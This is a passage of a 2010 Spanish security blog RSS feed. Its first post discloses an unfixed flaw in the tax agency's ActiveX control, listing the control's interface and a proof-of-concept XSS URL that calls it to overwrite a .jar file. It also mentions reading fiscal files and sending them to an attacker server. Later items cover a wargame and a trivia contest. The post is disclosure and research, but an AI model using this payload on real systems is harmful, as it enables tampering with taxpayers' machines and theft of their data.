&nbsp; &nbsp; &nbsp; &nbsp; HRESULT PRINT<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> IUnknown* documento<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001f<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method SELECT_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT SELECT_CERT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR cadenaBusqueda, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR nif, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* certificado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000020<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method SIGUE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT SIGUE<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000021<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method MUEVEFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT MUEVEFI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR origen, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR destino<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000023<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABAIMG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABAIMG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000024<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DESBLOQUEAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DESBLOQUEAR<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000025<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method INICIA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT INICIA<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000026<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FIRMARLOTES&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FIRMARLOTES<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR cadenaCompleta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000027<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method BORRAFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT BORRAFI<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000028<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CREARENLACE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CREARENLACE<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR nombre, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR descripcion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR icono<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000029<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GETURL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GETURL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002a<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method UNZIP&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT UNZIP<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichZip<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GSWIN32C&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GSWIN32C<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR parametros<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CERRARVENTANA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CERRARVENTANA<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002d<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property IDIOMA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT IDIOMA<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* IDIOMA<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002d<span class="br0">&#41;</span>, propput, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property IDIOMA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT IDIOMA<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR IDIOMA<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002e<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property ESBINARIO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESBINARIO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002f<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FECHA_MOD_URL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_MOD_URL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pFecha<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000030<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FECHA_MOD_FICH&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_MOD_FICH<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pFecha<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000031<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property FECHA_CAD_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_CAD_CERT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000032<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property EMISOR_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EMISOR_CERT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000033<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GET_VARIABLE_ENT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GET_VARIABLE_ENT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR variable, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* valor<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000034<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GET_IMG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GET_IMG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000035<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ES_CITRIX&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ES_CITRIX<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000036<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ESMSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESMSWORD<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000037<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ABRIRFICHERO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ABRIRFICHERO<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000038<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ESMSEXCEL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESMSEXCEL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000039<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method TAM_FICHERO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT TAM_FICHERO<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">double</span>* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>;<br />
&nbsp;</div>
<p>Como veis hay algunos metodos como GRABABI que suenan interesantes. Haciendo ingeniería inversa podemos fácilmente averiguar los parámetros correctos que quedarían por ejemplo:</p>
<blockquote><p>GRABABI(\&#8217;c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\&#8217;,\&#8217;base64\&#8217;,\&#8217;ADFADFAFAFAFAFAFA[..]\&#8217;)</p></blockquote>
<p>Internamente, el ActiveX implementa una serie de comprobaciones para evitar que las operaciones que hagamos salgan fuera del directorio &#8220;c:\aeat\&#8221;, sin embargo, podríamos sobreescribir cualquier .jar de los que instala el PADRE o crear ciertos tipos de ficheros que fuera cargados automaticamente por el sistema.</p>
<p>Luego existen, los métodos LEERFI, LEERDIR donde podríamos listar el directorio y leer los ficheros de datos fiscales o de otro tipo y enviarlos a un servidor controlado por nosotros&#8230; En fin mil cosas.</p>
<p>Qué nos falta? Que la página de la agencia tributaria tenga un XSS para poder isntanciar el ActiveX desde el dominio permitido, ya que se guarda en la clave &#8220;AllowedDomains&#8221; el dominio desde donde se inicia y acepta la instalación del activex, en este caso, alguno de los pertenencientes a la AEAT.</p>
<p>¿Existe un fallo XSS en las webs de la AEAT? Sí. Y este permitiría hacer una cosa así.</p>
<blockquote>
<pre>
https://aeat.es/XXXXXXXXXXXXXXXXXXXXXXXXXXX=javascript:{var c0d= &#39;&lt;html&gt;&lt;body&gt;&lt;object id=\&#39;ab\&#39; classid=\&#39;CLSID:B785FA3C-1DE9-4D20-8396-613C486FE95E\&#39;&gt;&lt;/object&gt;&lt;script&gt;function xplit(){ab.GRABABI(\&#39;c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\&#39;,\&#39;base64\&#39;,\&#39;ADFADFAFAFAFAFAFA\&#39;);}&lt;/script&gt;&lt;a href=\&#39;javascript:xplit();\&#39;&gt;exploit&lt;/a&gt;&lt;/body&gt;&lt;/html&gt;&#39;;document.write(c0d);}
</pre>
</blockquote>
<p>U otras peores. Avisé a la AEAT de este fallo hace más de un mes. A día de hoy sigue sin arreglarse. Yo por mi parte considero que no puedo hacer más. </p>
<p>Hasta la siguiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>CampusParty&#8217;s Wargame Leftovers</title>
		<link>http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/</link>
		<comments>http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 16:48:36 +0000</pubDate>
		<dc:creator>48bits</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1466</guid>
		<description><![CDATA[Campus Party is over now, it was a great week. Here are two unsolved levels from the hacking wargame, they were available in the contest so we wanted to release them. Go, get them and have fun! First to solve both gets a $30 gift card for Amazon. All the info available in http://vierito.es/cp2010wargame/ &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Campus Party is over now, it was a great week. Here are two unsolved levels from the hacking wargame, they were available in the contest so we wanted to release them.</p>
<p>Go, get them and have fun! First to solve both gets a $30 gift card for Amazon. All the info available in <a href="http://vierito.es/cp2010wargame">http://vierito.es/cp2010wargame/</a></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>La campus party se acabo, fue guachi. Del wargame quedaron pruebas sin resolver, como fueron liberadas pero no resueltas queremos hacerlas públicas.</p>
<p>Si eres el primero en resolverlas correctamente ganarás 30$ para gastarte en amazon. </p>
<p>Toda la info aquí <a href="http://vierito.es/cp2010wargame">http://vierito.es/cp2010wargame</a>/</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/08/02/campuspartys-wargame-leftovers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOYGA, EL CONCURSO &#8220;TRIBIAL PU**Y&#8221; A YEJADO</title>
		<link>http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/</link>
		<comments>http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 06:07:51 +0000</pubDate>
		<dc:creator>48bits</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1449</guid>
		<description><![CDATA[Tenemos 3 entradas de movilidad para la Campus de este año que vamos a regalar a las 3 primeras personas, o equivalente, que nos contesten correctamente a staff (at) 48bits (dot) com las siguientes preguntas. Además se agradecerán poemas, amenazas ocurrentes o ideas para mejorar el blog. Es verdad eh, tenemos las entradas, no es [...]]]></description>
			<content:encoded><![CDATA[<p>Tenemos 3 entradas de movilidad para la <a href="http://www.campus-party.es/2010/Seguridad-y-Redes.html">Campus</a> de este año que vamos a regalar a las 3 primeras personas, o equivalente, que nos contesten correctamente a staff (at) 48bits (dot) com las siguientes preguntas. Además se agradecerán poemas, amenazas ocurrentes o ideas para mejorar el blog.</p>
<p>Es verdad eh, tenemos las entradas, no es coña. Lo juramos. </p>
<p>¡¡Rápido!! </p>
<p>Antes del día 6 tenemos que tener 3 ganadores. Las llamadas entran en directo. 3 entradas, garantizadas. Producción, ¿me se escucha?<br />
<span id="more-1449"></span></p>
<p><strong>Pregunta 1</strong></p>
<blockquote><p>¿Cuál es el tamaño máximo de una instrucción NOP en x86?</p></blockquote>
<p><strong>Pregunta 2</strong></p>
<blockquote><p>El que más se aproxime, sin pasarse&#8230;<br />
¿Cuántas lineas tiene el fichero de quotes de 48bits?</p></blockquote>
<p><strong>Pregunta 3</strong></p>
<p>¿Quién es este fulano?<br />
<img src="http://blog.48bits.com/wp-content/uploads/2010/07/misterioso.jpg" alt="" title="misterioso" width="512" height="768" class="aligncenter size-full wp-image-1450" /></p>
<p><strong>Pregunta 4</strong></p>
<blockquote><p>Completa la expresión: 8 = ?</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/07/02/hoyga-el-concurso-tribial-pussy-a-yejado/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>
